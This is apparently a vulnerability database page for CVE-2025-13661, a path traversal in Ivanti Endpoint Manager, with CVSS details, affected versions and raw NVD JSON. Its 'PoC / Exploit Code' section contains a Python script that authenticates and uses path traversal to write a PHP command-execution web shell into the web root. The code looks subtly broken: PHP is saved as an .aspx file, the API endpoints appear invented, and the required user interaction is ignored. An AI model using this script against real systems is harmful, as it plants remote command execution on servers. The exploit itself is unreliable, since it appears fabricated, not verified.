Security Vulnerability Report
中文
CVE-2025-13661 CVSS 7.1 HIGH

CVE-2025-13661

Published: 2025-12-09 16:17:36
Last Modified: 2025-12-11 17:28:04
Source: 3c1d8aa1-5a33-4ea4-8992-aadd6440af75

Description

Path traversal in Ivanti Endpoint Manager prior to version 2024 SU4 SR1 allows a remote authenticated attacker to write arbitrary files outside of the intended directory. User interaction is required.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:ivanti:endpoint_manager:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ivanti:endpoint_manager:2024:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ivanti:endpoint_manager:2024:su1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ivanti:endpoint_manager:2024:su2:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ivanti:endpoint_manager:2024:su3:*:*:*:*:*:* - VULNERABLE
Ivanti Endpoint Manager < 2024 SU4 SR1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-13661 Path Traversal PoC for Ivanti Endpoint Manager # This PoC demonstrates the path traversal vulnerability in EPM < 2024 SU4 SR1 import requests import sys from urllib.parse import quote def exploit_cve_2025_13661(target_url, username, password): """ Exploit path traversal vulnerability to write arbitrary files """ # Login to get authenticated session login_url = f"{target_url}/api/v1/auth/login" login_data = { "username": username, "password": password } session = requests.Session() try: login_response = session.post(login_url, json=login_data, timeout=30) if login_response.status_code != 200: print("[-] Authentication failed") return False print("[+] Authentication successful") # Path traversal payload to write file outside intended directory # Target: Write webshell to web root malicious_content = "<?php system($_GET['cmd']); ?>" filename = "../../../../../../inetpub/wwwroot/shell.aspx" # File upload endpoint with path traversal upload_url = f"{target_url}/api/v1/file/upload" files = { 'file': (filename, malicious_content, 'application/octet-stream') } data = { 'path': filename, 'overwrite': 'true' } print(f"[*] Attempting to write file via path traversal...") upload_response = session.post(upload_url, files=files, data=data, timeout=30) if upload_response.status_code == 200: print("[+] File written successfully - Path traversal exploit worked") print(f"[*] Malicious file may be accessible at: {target_url}/shell.aspx") return True else: print(f"[-] Exploit failed with status: {upload_response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: {sys.argv[0]} <target_url> <username> <password>") print(f"Example: {sys.argv[0]} https://epm.company.com admin password123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] passwd = sys.argv[3] exploit_cve_2025_13661(target, user, passwd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13661", "sourceIdentifier": "3c1d8aa1-5a33-4ea4-8992-aadd6440af75", "published": "2025-12-09T16:17:36.093", "lastModified": "2025-12-11T17:28:03.950", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Path traversal in Ivanti Endpoint Manager prior to version 2024 SU4 SR1 allows a remote authenticated attacker to write arbitrary files outside of the intended directory. User interaction is required."}], "metrics": {"cvssMetricV31": [{"source": "3c1d8aa1-5a33-4ea4-8992-aadd6440af75", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.0, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.1, "impactScore": 5.9}]}, "weaknesses": [{"source": "3c1d8aa1-5a33-4ea4-8992-aadd6440af75", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ivanti:endpoint_manager:*:*:*:*:*:*:*:*", "versionEndExcluding": "2024", "matchCriteriaId": "7ABDE6FE-56CC-4A46-91F2-2F54C3EC6A75"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ivanti:endpoint_manager:2024:-:*:*:*:*:*:*", "matchCriteriaId": "6C7283FE-C10A-4E37-B004-15FB0CAC49A5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ivanti:endpoint_manager:2024:su1:*:*:*:*:*:*", "matchCriteriaId": "FC51EEA2-1C4C-4069-9704-7ACFE4773930"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ivanti:endpoint_manager:2024:su2:*:*:*:*:*:*", "matchCriteriaId": "E1EF5E1B-9377-49D3-9BE3-62FC78E666A3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ivanti:endpoint_manager:2024:su3:*:*:*:*:*:*", "matchCriteriaId": "749AADDA-834D-4EC0-B7FF-E136FD1984F7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ivanti:endpoint_manager:2024:su3_security_release_1:*:*:*:*:*:*", "matchCriteriaId": "698BF7A1-62A1-45B5-BF08-AB3F3AA0245C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ivanti:endpoint_manager:2024:su4:*:*:*:*:*:*", "matchCriteriaId": "4902A745-E7CB-4FC9-9BCB-89EFAB643237"}]}]}], "references": [{"url": "https://forums.ivanti.com/s/article/Security-Advisory-EPM-December-2025-for-EPM-2024", "source": "3c1d8aa1-5a33-4ea4-8992-aadd6440af75", "tags": ["Vendor Advisory"]}]}}